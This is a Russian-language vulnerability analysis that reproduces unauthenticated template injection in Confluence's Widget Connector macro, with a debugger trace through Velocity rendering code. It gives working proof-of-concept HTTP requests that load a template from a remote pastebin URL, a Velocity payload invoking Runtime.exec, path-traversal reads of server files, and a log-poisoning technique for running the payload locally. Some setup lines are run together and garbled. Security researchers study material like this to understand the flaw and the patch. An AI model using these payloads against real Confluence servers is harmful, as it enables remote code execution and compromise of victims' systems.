
Неавторизованное внедрение шаблона в Confluence
confluence.home на путь к домашней директории Confluence в файле ./confluence/WEB-INF/classes/confluence-init.propertiesCATALINA_OPTS для возможности удаленной отладки программыДля Windows, файл ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
для Linux, файл ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM Debug с параметрами host и port localhost:5005 и Command line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
Необходимо добавить jar-файлы: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar в библиотеки, чтобы при отладке можно было видеть нужный исходный код.
Запускаем файл ./bin/start-confluence.bat; вы также можете ознакомиться с этим руководством для установки из исходников.
Прочитав описание, мы можем понять, что эта ошибка начинается с функции Widget Connector, поэтому я сразу гуглю, что это за функция и как её использовать:
входим в редактирование страницы

Выбираем Другие макросы
Выбираем Widget connector

Я произвольно выбираю параметры и нажимаю предварительный просмотр, после чего переключаюсь на Burp, чтобы посмотреть, нет ли чего интересного.

В этом пакете я вижу параметр "pluginKey":"com.atlassian.confluence.extra.widgetconnector", поэтому предполагаю, что функция Widget Connector определена в классе com.atlassian.confluence.extra.widgetconnector. Я начинаю искать в путях, нет ли подозрительного jar-пакета.

Пробую добавить файл ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar в библиотеки проекта, чтобы можно было читать исходный код и отлаживать.
Как добавить jar-файл в библиотеки
Открыв пакет widgetconnector, я нахожу класс WidgetMacro, который вызывает интерес. Я ставлю точку останова в конструкторе и в функции execute этого класса, чтобы посмотреть, вызывается ли он при использовании функции Preview 🕵️

Функция execute была вызвана, затем программа обращается к DefaultRenderManager.getEmbeddedHtml

Мы видим, чтобы попасть внутрь if, нужно выполнить условие widgetRenderer.matches(url). Проверяем функцию widgetRenderer.matches(url) в классе YoutubeRenderer


Таким образом, нужно, чтобы параметр url был ссылкой на видео YouTube (или Vimeo, Twitter, ...). Я устанавливаю url в ссылку на любое видео YouTube, и программа заходит в if, после чего вызывает widgetRenderer.getEmbeddedHtml(url, params) (класс YoutubeRenderer)

Программа переходит к функции setDefaultParam, где мы видим скрытый параметр _template, который выглядит подозрительно :)

После выхода из функции setDefaultParam, программа вызывает DefaultVelocityRenderService.render

Далее переходим к getRenderedTemplate и VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)


Затем к VelocityUtils.getRenderedTemplate(String templateName, Context context) и getRenderedTemplateWithoutSwallowingErrors(templateName, context)

Функция renderTemplateWithoutSwallowingErrors:

Программа вызывает getTemplate, затем VelocityEngine.getTemplate и RuntimeInstance.getTemplate. Здесь мы видим, что программа вызывает функцию getResource с входным параметром, равным значению параметра _template. В Java функция getResource может использоваться для загрузки ресурса в виде локального файла или файла в интернете (по протоколу HTTP).
Остановимся и подумаем: не позволяет ли это злоумышленнику передать произвольный шаблон (с локального сервера или с хоста злоумышленника) в программу, добавив параметр _template в запрос??

Продолжаем трассировку обратно, чтобы узнать, как программа обрабатывает полученный шаблон:
После получения шаблона программа вызывает VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

Затем переходит к template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC может быть выполнен здесь ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render. Эта функция использует шаблонизатор Velocity для обработки шаблона. Теперь мы понимаем, что можем написать PoC для RCE:POST-запрос при запросе функции Preview
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
файл payload
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
Таким образом, мы успешно воспроизвели эту ошибку, но в случае, когда целью является сервер, блокирующий исходящие соединения, злоумышленник не может получить ресурс из Интернета, а может получить только локальные файлы сервера.
Я получил подсказку: каким-то образом пользователь может внедрить полезную нагрузку в файл журнала. Это довольно хорошая идея, поэтому я сразу же начинаю искать способ.

POST /rest/analytics/1.0/publish/bulk, который отправляет несколько таких ключей-значений.[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming можно произвольно изменять, и оно всё равно будет добавлено в журнал.
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
В патче в класс WidgetMacro была добавлена функция doSanitizeParameters, которая удаляет параметр "_template" перед вызовом renderManager.getEmbeddedHtml(url, parameters);
